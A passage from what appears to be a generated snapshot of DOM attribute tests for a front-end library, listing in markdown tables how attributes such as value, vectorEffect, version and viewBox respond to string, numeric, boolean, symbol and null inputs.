`\"false\"` |\n| `v-mathematical=(string 'on')`| (changed, warning)| `\"on\"` |\n| `v-mathematical=(string 'off')`| (changed, warning)| `\"off\"` |\n| `v-mathematical=(symbol)`| (initial, warning)| `<null>` |\n| `v-mathematical=(function)`| (initial, warning)| `<null>` |\n| `v-mathematical=(null)`| (initial, warning)| `<null>` |\n| `v-mathematical=(undefined)`| (initial, warning)| `<null>` |\n\n## `vAlphabetic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vAlphabetic=(string)`| (changed)| `\"a string\"` |\n| `vAlphabetic=(empty string)`| (changed)| `<empty string>` |\n| `vAlphabetic=(array with string)`| (changed)| `\"string\"` |\n| `vAlphabetic=(empty array)`| (changed)| `<empty string>` |\n| `vAlphabetic=(object)`| (changed)| `\"result of toString()\"` |\n| `vAlphabetic=(numeric string)`| (changed)| `\"42\"` |\n| `vAlphabetic=(-1)`| (changed)| `\"-1\"` |\n| `vAlphabetic=(0)`| (changed)| `\"0\"` |\n| `vAlphabetic=(integer)`| (changed)| `\"1\"` |\n| `vAlphabetic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vAlphabetic=(float)`| (changed)| `\"99.99\"` |\n| `vAlphabetic=(true)`| (initial, warning)| `<null>` |\n| `vAlphabetic=(false)`| (initial, warning)| `<null>` |\n| `vAlphabetic=(string 'true')`| (changed)| `\"true\"` |\n| `vAlphabetic=(string 'false')`| (changed)| `\"false\"` |\n| `vAlphabetic=(string 'on')`| (changed)| `\"on\"` |\n| `vAlphabetic=(string 'off')`| (changed)| `\"off\"` |\n| `vAlphabetic=(symbol)`| (initial, warning)| `<null>` |\n| `vAlphabetic=(function)`| (initial, warning)| `<null>` |\n| `vAlphabetic=(null)`| (initial)| `<null>` |\n| `vAlphabetic=(undefined)`| (initial)| `<null>` |\n\n## `value` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `value=(string)`| (changed)| `\"a string\"` |\n| `value=(empty string)`| (initial)| `<empty string>` |\n| `value=(array with string)`| (changed)| `\"string\"` |\n| `value=(empty array)`| (initial)| `<empty string>` |\n| `value=(object)`| (changed)| `\"result of toString()\"` |\n| `value=(numeric string)`| (changed)| `\"42\"` |\n| `value=(-1)`| (changed)| `\"-1\"` |\n| `value=(0)`| (changed)| `\"0\"` |\n| `value=(integer)`| (changed)| `\"1\"` |\n| `value=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `value=(float)`| (changed)| `\"99.99\"` |\n| `value=(true)`| (changed)| `\"true\"` |\n| `value=(false)`| (changed)| `\"false\"` |\n| `value=(string 'true')`| (changed)| `\"true\"` |\n| `value=(string 'false')`| (changed)| `\"false\"` |\n| `value=(string 'on')`| (changed)| `\"on\"` |\n| `value=(string 'off')`| (changed)| `\"off\"` |\n| `value=(symbol)`| (initial, warning)| `<empty string>` |\n| `value=(function)`| (initial, warning)| `<empty string>` |\n| `value=(null)`| (initial, warning)| `<empty string>` |\n| `value=(undefined)`| (initial)| `<empty string>` |\n\n## `value` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `value=(string)`| (changed)| `\"a string\"` |\n| `value=(empty string)`| (initial)| `<empty string>` |\n| `value=(array with string)`| (changed)| `\"string\"` |\n| `value=(empty array)`| (initial)| `<empty string>` |\n| `value=(object)`| (changed)| `\"result of toString()\"` |\n| `value=(numeric string)`| (changed)| `\"42\"` |\n| `value=(-1)`| (changed)| `\"-1\"` |\n| `value=(0)`| (changed)| `\"0\"` |\n| `value=(integer)`| (changed)| `\"1\"` |\n| `value=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `value=(float)`| (changed)| `\"99.99\"` |\n| `value=(true)`| (changed)| `\"true\"` |\n| `value=(false)`| (changed)| `\"false\"` |\n| `value=(string 'true')`| (changed)| `\"true\"` |\n| `value=(string 'false')`| (changed)| `\"false\"` |\n| `value=(string 'on')`| (changed)| `\"on\"` |\n| `value=(string 'off')`| (changed)| `\"off\"` |\n| `value=(symbol)`| (initial, warning)| `<empty string>` |\n| `value=(function)`| (initial, warning)| `<empty string>` |\n| `value=(null)`| (initial, warning)| `<empty string>` |\n| `value=(undefined)`| (initial)| `<empty string>` |\n\n## `value` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `value=(string)`| (initial)| `<empty string>` |\n| `value=(empty string)`| (initial)| `<empty string>` |\n| `value=(array with string)`| (initial)| `<empty string>` |\n| `value=(empty array)`| (initial)| `<empty string>` |\n| `value=(object)`| (initial)| `<empty string>` |\n| `value=(numeric string)`| (changed)| `\"42\"` |\n| `value=(-1)`| (changed)| `\"-1\"` |\n| `value=(0)`| (changed)| `\"0\"` |\n| `value=(integer)`| (changed)| `\"1\"` |\n| `value=(NaN)`| (initial, warning)| `<empty string>` |\n| `value=(float)`| (changed)| `\"99.99\"` |\n| `value=(true)`| (initial)| `<empty string>` |\n| `value=(false)`| (initial)| `<empty string>` |\n| `value=(string 'true')`| (initial)| `<empty string>` |\n| `value=(string 'false')`| (initial)| `<empty string>` |\n| `value=(string 'on')`| (initial)| `<empty string>` |\n| `value=(string 'off')`| (initial)| `<empty string>` |\n| `value=(symbol)`| (initial, warning)| `<empty string>` |\n| `value=(function)`| (initial, warning)| `<empty string>` |\n| `value=(null)`| (initial, warning)| `<empty string>` |\n| `value=(undefined)`| (initial)| `<empty string>` |\n\n## `value` (on `<textarea>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `value=(string)`| (changed)| `\"a string\"` |\n| `value=(empty string)`| (initial)| `<empty string>` |\n| `value=(array with string)`| (changed)| `\"string\"` |\n| `value=(empty array)`| (initial)| `<empty string>` |\n| `value=(object)`| (changed)| `\"result of toString()\"` |\n| `value=(numeric string)`| (changed)| `\"42\"` |\n| `value=(-1)`| (changed)| `\"-1\"` |\n| `value=(0)`| (changed)| `\"0\"` |\n| `value=(integer)`| (changed)| `\"1\"` |\n| `value=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `value=(float)`| (changed)| `\"99.99\"` |\n| `value=(true)`| (changed)| `\"true\"` |\n| `value=(false)`| (changed)| `\"false\"` |\n| `value=(string 'true')`| (changed)| `\"true\"` |\n| `value=(string 'false')`| (changed)| `\"false\"` |\n| `value=(string 'on')`| (changed)| `\"on\"` |\n| `value=(string 'off')`| (changed)| `\"off\"` |\n| `value=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `value=(function)`| (initial, warning, ssr mismatch)| `<empty string>` |\n| `value=(null)`| (initial, warning)| `<empty string>` |\n| `value=(undefined)`| (initial)| `<empty string>` |\n\n## `value` (on `<option>` inside `<select>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `value=(string)`| (changed)| `\"a string\"` |\n| `value=(empty string)`| (initial)| `<empty string>` |\n| `value=(array with string)`| (changed)| `\"string\"` |\n| `value=(empty array)`| (initial)| `<empty string>` |\n| `value=(object)`| (changed)| `\"result of toString()\"` |\n| `value=(numeric string)`| (changed)| `\"42\"` |\n| `value=(-1)`| (changed)| `\"-1\"` |\n| `value=(0)`| (changed)| `\"0\"` |\n| `value=(integer)`| (changed)| `\"1\"` |\n| `value=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `value=(float)`| (changed)| `\"99.99\"` |\n| `value=(true)`| (changed)| `\"true\"` |\n| `value=(false)`| (changed)| `\"false\"` |\n| `value=(string 'true')`| (changed)| `\"true\"` |\n| `value=(string 'false')`| (changed)| `\"false\"` |\n| `value=(string 'on')`| (changed)| `\"on\"` |\n| `value=(string 'off')`| (changed)| `\"off\"` |\n| `value=(symbol)`| (initial, warning)| `<empty string>` |\n| `value=(function)`| (initial, warning)| `<empty string>` |\n| `value=(null)`| (initial)| `<empty string>` |\n| `value=(undefined)`| (initial)| `<empty string>` |\n\n## `Value` (on `<option>` inside `<select>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `Value=(string)`| (changed, warning)| `\"a string\"` |\n| `Value=(empty string)`| (initial, warning)| `<empty string>` |\n| `Value=(array with string)`| (changed, warning)| `\"string\"` |\n| `Value=(empty array)`| (initial, warning)| `<empty string>` |\n| `Value=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `Value=(numeric string)`| (changed, warning)| `\"42\"` |\n| `Value=(-1)`| (changed, warning)| `\"-1\"` |\n| `Value=(0)`| (changed, warning)| `\"0\"` |\n| `Value=(integer)`| (changed, warning)| `\"1\"` |\n| `Value=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `Value=(float)`| (changed, warning)| `\"99.99\"` |\n| `Value=(true)`| (initial, warning)| `<empty string>` |\n| `Value=(false)`| (initial, warning)| `<empty string>` |\n| `Value=(string 'true')`| (changed, warning)| `\"true\"` |\n| `Value=(string 'false')`| (changed, warning)| `\"false\"` |\n| `Value=(string 'on')`| (changed, warning)| `\"on\"` |\n| `Value=(string 'off')`| (changed, warning)| `\"off\"` |\n| `Value=(symbol)`| (initial, warning)| `<empty string>` |\n| `Value=(function)`| (initial, warning)| `<empty string>` |\n| `Value=(null)`| (initial, warning)| `<empty string>` |\n| `Value=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `values` (on `<feColorMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `values=(string)`| (changed)| `[1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0]` |\n| `values=(empty string)`| (initial)| `[]` |\n| `values=(array with string)`| (changed)| `[1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0]` |\n| `values=(empty array)`| (initial)| `[]` |\n| `values=(object)`| (initial)| `[]` |\n| `values=(numeric string)`| (changed)| `[42]` |\n| `values=(-1)`| (changed)| `[-1]` |\n| `values=(0)`| (changed)| `[0]` |\n| `values=(integer)`| (changed)| `[1]` |\n| `values=(NaN)`| (initial, warning)| `[]` |\n| `values=(float)`| (changed)| `[99.98999786376953]` |\n| `values=(true)`| (initial, warning)| `[]` |\n| `values=(false)`| (initial, warning)| `[]` |\n| `values=(string 'true')`| (initial)| `[]` |\n| `values=(string 'false')`| (initial)| `[]` |\n| `values=(string 'on')`| (initial)| `[]` |\n| `values=(string 'off')`| (initial)| `[]` |\n| `values=(symbol)`| (initial, warning)| `[]` |\n| `values=(function)`| (initial, warning)| `[]` |\n| `values=(null)`| (initial)| `[]` |\n| `values=(undefined)`| (initial)| `[]` |\n\n## `vector-effect` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vector-effect=(string)`| (changed, warning)| `\"a string\"` |\n| `vector-effect=(empty string)`| (changed, warning)| `<empty string>` |\n| `vector-effect=(array with string)`| (changed, warning)| `\"string\"` |\n| `vector-effect=(empty array)`| (changed, warning)| `<empty string>` |\n| `vector-effect=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `vector-effect=(numeric string)`| (changed, warning)| `\"42\"` |\n| `vector-effect=(-1)`| (changed, warning)| `\"-1\"` |\n| `vector-effect=(0)`| (changed, warning)| `\"0\"` |\n| `vector-effect=(integer)`| (changed, warning)| `\"1\"` |\n| `vector-effect=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vector-effect=(float)`| (changed, warning)| `\"99.99\"` |\n| `vector-effect=(true)`| (initial, warning)| `<null>` |\n| `vector-effect=(false)`| (initial, warning)| `<null>` |\n| `vector-effect=(string 'true')`| (changed, warning)| `\"true\"` |\n| `vector-effect=(string 'false')`| (changed, warning)| `\"false\"` |\n| `vector-effect=(string 'on')`| (changed, warning)| `\"on\"` |\n| `vector-effect=(string 'off')`| (changed, warning)| `\"off\"` |\n| `vector-effect=(symbol)`| (initial, warning)| `<null>` |\n| `vector-effect=(function)`| (initial, warning)| `<null>` |\n| `vector-effect=(null)`| (initial, warning)| `<null>` |\n| `vector-effect=(undefined)`| (initial, warning)| `<null>` |\n\n## `vectorEffect` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vectorEffect=(string)`| (changed)| `\"a string\"` |\n| `vectorEffect=(empty string)`| (changed)| `<empty string>` |\n| `vectorEffect=(array with string)`| (changed)| `\"string\"` |\n| `vectorEffect=(empty array)`| (changed)| `<empty string>` |\n| `vectorEffect=(object)`| (changed)| `\"result of toString()\"` |\n| `vectorEffect=(numeric string)`| (changed)| `\"42\"` |\n| `vectorEffect=(-1)`| (changed)| `\"-1\"` |\n| `vectorEffect=(0)`| (changed)| `\"0\"` |\n| `vectorEffect=(integer)`| (changed)| `\"1\"` |\n| `vectorEffect=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vectorEffect=(float)`| (changed)| `\"99.99\"` |\n| `vectorEffect=(true)`| (initial, warning)| `<null>` |\n| `vectorEffect=(false)`| (initial, warning)| `<null>` |\n| `vectorEffect=(string 'true')`| (changed)| `\"true\"` |\n| `vectorEffect=(string 'false')`| (changed)| `\"false\"` |\n| `vectorEffect=(string 'on')`| (changed)| `\"on\"` |\n| `vectorEffect=(string 'off')`| (changed)| `\"off\"` |\n| `vectorEffect=(symbol)`| (initial, warning)| `<null>` |\n| `vectorEffect=(function)`| (initial, warning)| `<null>` |\n| `vectorEffect=(null)`| (initial)| `<null>` |\n| `vectorEffect=(undefined)`| (initial)| `<null>` |\n\n## `version` (on `<html>` inside `<document>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `version=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `version=(empty string)`| (initial)| `<empty string>` |\n| `version=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `version=(empty array)`| (initial)| `<empty string>` |\n| `version=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `version=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `version=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `version=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `version=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `version=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `version=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `version=(true)`| (initial, warning)| `<empty string>` |\n| `version=(false)`| (initial, warning)| `<empty string>` |\n| `version=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `version=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `version=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `version=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `version=(symbol)`| (initial, warning)| `<empty string>` |\n| `version=(function)`| (initial, warning)| `<empty string>` |\n| `version=(null)`| (initial)| `<empty string>` |\n| `version=(undefined)`| (initial)| `<empty string>` |\n\n## `version` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `version=(string)`| (changed)| `\"a string\"` |\n| `version=(empty string)`| (changed)| `<empty string>` |\n| `version=(array with string)`| (changed)| `\"string\"` |\n| `version=(empty array)`| (changed)| `<empty string>` |\n| `version=(object)`| (changed)| `\"result of toString()\"` |\n| `version=(numeric string)`| (changed)| `\"42\"` |\n| `version=(-1)`| (changed)| `\"-1\"` |\n| `version=(0)`| (changed)| `\"0\"` |\n| `version=(integer)`| (changed)| `\"1\"` |\n| `version=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `version=(float)`| (changed)| `\"99.99\"` |\n| `version=(true)`| (initial, warning)| `<null>` |\n| `version=(false)`| (initial, warning)| `<null>` |\n| `version=(string 'true')`| (changed)| `\"true\"` |\n| `version=(string 'false')`| (changed)| `\"false\"` |\n| `version=(string 'on')`| (changed)| `\"on\"` |\n| `version=(string 'off')`| (changed)| `\"off\"` |\n| `version=(symbol)`| (initial, warning)| `<null>` |\n| `version=(function)`| (initial, warning)| `<null>` |\n| `version=(null)`| (initial)| `<null>` |\n| `version=(undefined)`| (initial)| `<null>` |\n\n## `vert-adv-y` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vert-adv-y=(string)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(empty string)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(array with string)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(empty array)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(object)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(numeric string)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(-1)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(0)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(integer)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(NaN)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(float)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(true)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(false)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(string 'true')`| (initial, warning)| `<null>` |\n| `vert-adv-y=(string 'false')`| (initial, warning)| `<null>` |\n| `vert-adv-y=(string 'on')`| (initial, warning)| `<null>` |\n| `vert-adv-y=(string 'off')`| (initial, warning)| `<null>` |\n| `vert-adv-y=(symbol)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(function)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(null)`| (initial, warning)| `<null>` |\n| `vert-adv-y=(undefined)`| (initial, warning)| `<null>` |\n\n## `vert-origin-x` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vert-origin-x=(string)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(empty string)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(array with string)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(empty array)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(object)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(numeric string)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(-1)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(0)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(integer)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(NaN)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(float)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(true)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(false)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(string 'true')`| (initial, warning)| `<null>` |\n| `vert-origin-x=(string 'false')`| (initial, warning)| `<null>` |\n| `vert-origin-x=(string 'on')`| (initial, warning)| `<null>` |\n| `vert-origin-x=(string 'off')`| (initial, warning)| `<null>` |\n| `vert-origin-x=(symbol)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(function)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(null)`| (initial, warning)| `<null>` |\n| `vert-origin-x=(undefined)`| (initial, warning)| `<null>` |\n\n## `vert-origin-y` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vert-origin-y=(string)`| (changed, warning)| `\"a string\"` |\n| `vert-origin-y=(empty string)`| (changed, warning)| `<empty string>` |\n| `vert-origin-y=(array with string)`| (changed, warning)| `\"string\"` |\n| `vert-origin-y=(empty array)`| (changed, warning)| `<empty string>` |\n| `vert-origin-y=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `vert-origin-y=(numeric string)`| (changed, warning)| `\"42\"` |\n| `vert-origin-y=(-1)`| (changed, warning)| `\"-1\"` |\n| `vert-origin-y=(0)`| (changed, warning)| `\"0\"` |\n| `vert-origin-y=(integer)`| (changed, warning)| `\"1\"` |\n| `vert-origin-y=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vert-origin-y=(float)`| (changed, warning)| `\"99.99\"` |\n| `vert-origin-y=(true)`| (initial, warning)| `<null>` |\n| `vert-origin-y=(false)`| (initial, warning)| `<null>` |\n| `vert-origin-y=(string 'true')`| (changed, warning)| `\"true\"` |\n| `vert-origin-y=(string 'false')`| (changed, warning)| `\"false\"` |\n| `vert-origin-y=(string 'on')`| (changed, warning)| `\"on\"` |\n| `vert-origin-y=(string 'off')`| (changed, warning)| `\"off\"` |\n| `vert-origin-y=(symbol)`| (initial, warning)| `<null>` |\n| `vert-origin-y=(function)`| (initial, warning)| `<null>` |\n| `vert-origin-y=(null)`| (initial, warning)| `<null>` |\n| `vert-origin-y=(undefined)`| (initial, warning)| `<null>` |\n\n## `vertAdvY` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vertAdvY=(string)`| (changed)| `\"a string\"` |\n| `vertAdvY=(empty string)`| (changed)| `<empty string>` |\n| `vertAdvY=(array with string)`| (changed)| `\"string\"` |\n| `vertAdvY=(empty array)`| (changed)| `<empty string>` |\n| `vertAdvY=(object)`| (changed)| `\"result of toString()\"` |\n| `vertAdvY=(numeric string)`| (changed)| `\"42\"` |\n| `vertAdvY=(-1)`| (changed)| `\"-1\"` |\n| `vertAdvY=(0)`| (changed)| `\"0\"` |\n| `vertAdvY=(integer)`| (changed)| `\"1\"` |\n| `vertAdvY=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vertAdvY=(float)`| (changed)| `\"99.99\"` |\n| `vertAdvY=(true)`| (initial, warning)| `<null>` |\n| `vertAdvY=(false)`| (initial, warning)| `<null>` |\n| `vertAdvY=(string 'true')`| (changed)| `\"true\"` |\n| `vertAdvY=(string 'false')`| (changed)| `\"false\"` |\n| `vertAdvY=(string 'on')`| (changed)| `\"on\"` |\n| `vertAdvY=(string 'off')`| (changed)| `\"off\"` |\n| `vertAdvY=(symbol)`| (initial, warning)| `<null>` |\n| `vertAdvY=(function)`| (initial, warning)| `<null>` |\n| `vertAdvY=(null)`| (initial)| `<null>` |\n| `vertAdvY=(undefined)`| (initial)| `<null>` |\n\n## `vertOriginX` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vertOriginX=(string)`| (changed)| `\"a string\"` |\n| `vertOriginX=(empty string)`| (changed)| `<empty string>` |\n| `vertOriginX=(array with string)`| (changed)| `\"string\"` |\n| `vertOriginX=(empty array)`| (changed)| `<empty string>` |\n| `vertOriginX=(object)`| (changed)| `\"result of toString()\"` |\n| `vertOriginX=(numeric string)`| (changed)| `\"42\"` |\n| `vertOriginX=(-1)`| (changed)| `\"-1\"` |\n| `vertOriginX=(0)`| (changed)| `\"0\"` |\n| `vertOriginX=(integer)`| (changed)| `\"1\"` |\n| `vertOriginX=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vertOriginX=(float)`| (changed)| `\"99.99\"` |\n| `vertOriginX=(true)`| (initial, warning)| `<null>` |\n| `vertOriginX=(false)`| (initial, warning)| `<null>` |\n| `vertOriginX=(string 'true')`| (changed)| `\"true\"` |\n| `vertOriginX=(string 'false')`| (changed)| `\"false\"` |\n| `vertOriginX=(string 'on')`| (changed)| `\"on\"` |\n| `vertOriginX=(string 'off')`| (changed)| `\"off\"` |\n| `vertOriginX=(symbol)`| (initial, warning)| `<null>` |\n| `vertOriginX=(function)`| (initial, warning)| `<null>` |\n| `vertOriginX=(null)`| (initial)| `<null>` |\n| `vertOriginX=(undefined)`| (initial)| `<null>` |\n\n## `vertOriginY` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vertOriginY=(string)`| (changed)| `\"a string\"` |\n| `vertOriginY=(empty string)`| (changed)| `<empty string>` |\n| `vertOriginY=(array with string)`| (changed)| `\"string\"` |\n| `vertOriginY=(empty array)`| (changed)| `<empty string>` |\n| `vertOriginY=(object)`| (changed)| `\"result of toString()\"` |\n| `vertOriginY=(numeric string)`| (changed)| `\"42\"` |\n| `vertOriginY=(-1)`| (changed)| `\"-1\"` |\n| `vertOriginY=(0)`| (changed)| `\"0\"` |\n| `vertOriginY=(integer)`| (changed)| `\"1\"` |\n| `vertOriginY=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vertOriginY=(float)`| (changed)| `\"99.99\"` |\n| `vertOriginY=(true)`| (initial, warning)| `<null>` |\n| `vertOriginY=(false)`| (initial, warning)| `<null>` |\n| `vertOriginY=(string 'true')`| (changed)| `\"true\"` |\n| `vertOriginY=(string 'false')`| (changed)| `\"false\"` |\n| `vertOriginY=(string 'on')`| (changed)| `\"on\"` |\n| `vertOriginY=(string 'off')`| (changed)| `\"off\"` |\n| `vertOriginY=(symbol)`| (initial, warning)| `<null>` |\n| `vertOriginY=(function)`| (initial, warning)| `<null>` |\n| `vertOriginY=(null)`| (initial)| `<null>` |\n| `vertOriginY=(undefined)`| (initial)| `<null>` |\n\n## `vHanging` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vHanging=(string)`| (changed)| `\"a string\"` |\n| `vHanging=(empty string)`| (changed)| `<empty string>` |\n| `vHanging=(array with string)`| (changed)| `\"string\"` |\n| `vHanging=(empty array)`| (changed)| `<empty string>` |\n| `vHanging=(object)`| (changed)| `\"result of toString()\"` |\n| `vHanging=(numeric string)`| (changed)| `\"42\"` |\n| `vHanging=(-1)`| (changed)| `\"-1\"` |\n| `vHanging=(0)`| (changed)| `\"0\"` |\n| `vHanging=(integer)`| (changed)| `\"1\"` |\n| `vHanging=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vHanging=(float)`| (changed)| `\"99.99\"` |\n| `vHanging=(true)`| (initial, warning)| `<null>` |\n| `vHanging=(false)`| (initial, warning)| `<null>` |\n| `vHanging=(string 'true')`| (changed)| `\"true\"` |\n| `vHanging=(string 'false')`| (changed)| `\"false\"` |\n| `vHanging=(string 'on')`| (changed)| `\"on\"` |\n| `vHanging=(string 'off')`| (changed)| `\"off\"` |\n| `vHanging=(symbol)`| (initial, warning)| `<null>` |\n| `vHanging=(function)`| (initial, warning)| `<null>` |\n| `vHanging=(null)`| (initial)| `<null>` |\n| `vHanging=(undefined)`| (initial)| `<null>` |\n\n## `vIdeographic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vIdeographic=(string)`| (changed)| `\"a string\"` |\n| `vIdeographic=(empty string)`| (changed)| `<empty string>` |\n| `vIdeographic=(array with string)`| (changed)| `\"string\"` |\n| `vIdeographic=(empty array)`| (changed)| `<empty string>` |\n| `vIdeographic=(object)`| (changed)| `\"result of toString()\"` |\n| `vIdeographic=(numeric string)`| (changed)| `\"42\"` |\n| `vIdeographic=(-1)`| (changed)| `\"-1\"` |\n| `vIdeographic=(0)`| (changed)| `\"0\"` |\n| `vIdeographic=(integer)`| (changed)| `\"1\"` |\n| `vIdeographic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vIdeographic=(float)`| (changed)| `\"99.99\"` |\n| `vIdeographic=(true)`| (initial, warning)| `<null>` |\n| `vIdeographic=(false)`| (initial, warning)| `<null>` |\n| `vIdeographic=(string 'true')`| (changed)| `\"true\"` |\n| `vIdeographic=(string 'false')`| (changed)| `\"false\"` |\n| `vIdeographic=(string 'on')`| (changed)| `\"on\"` |\n| `vIdeographic=(string 'off')`| (changed)| `\"off\"` |\n| `vIdeographic=(symbol)`| (initial, warning)| `<null>` |\n| `vIdeographic=(function)`| (initial, warning)| `<null>` |\n| `vIdeographic=(null)`| (initial)| `<null>` |\n| `vIdeographic=(undefined)`| (initial)| `<null>` |\n\n## `viewBox` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `viewBox=(string)`| (changed)| `<SVGRect: 0,0,1500,1000>` |\n| `viewBox=(empty string)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(array with string)`| (changed)| `<SVGRect: 0,0,1500,1000>` |\n| `viewBox=(empty array)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(object)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(numeric string)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(-1)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(0)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(integer)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(NaN)`| (initial, warning)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(float)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(true)`| (initial, warning)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(false)`| (initial, warning)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(string 'true')`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(string 'false')`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(string 'on')`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(string 'off')`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(symbol)`| (initial, warning)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(function)`| (initial, warning)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(null)`| (initial)| `<SVGRect: 0,0,0,0>` |\n| `viewBox=(undefined)`| (initial)| `<SVGRect: 0,0,0,0>` |\n\n## `viewTarget` (on `<view>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `viewTarget=(string)`| (changed)| `\"a string\"` |\n| `viewTarget=(empty string)`| (changed)| `<empty string>` |\n| `viewTarget=(array with string)`| (changed)| `\"string\"` |\n| `viewTarget=(empty array)`| (changed)| `<empty string>` |\n| `viewTarget=(object)`| (changed)| `\"result of toString()\"` |\n| `viewTarget=(numeric string)`| (changed)| `\"42\"` |\n| `viewTarget=(-1)`| (changed)| `\"-1\"` |\n| `viewTarget=(0)`| 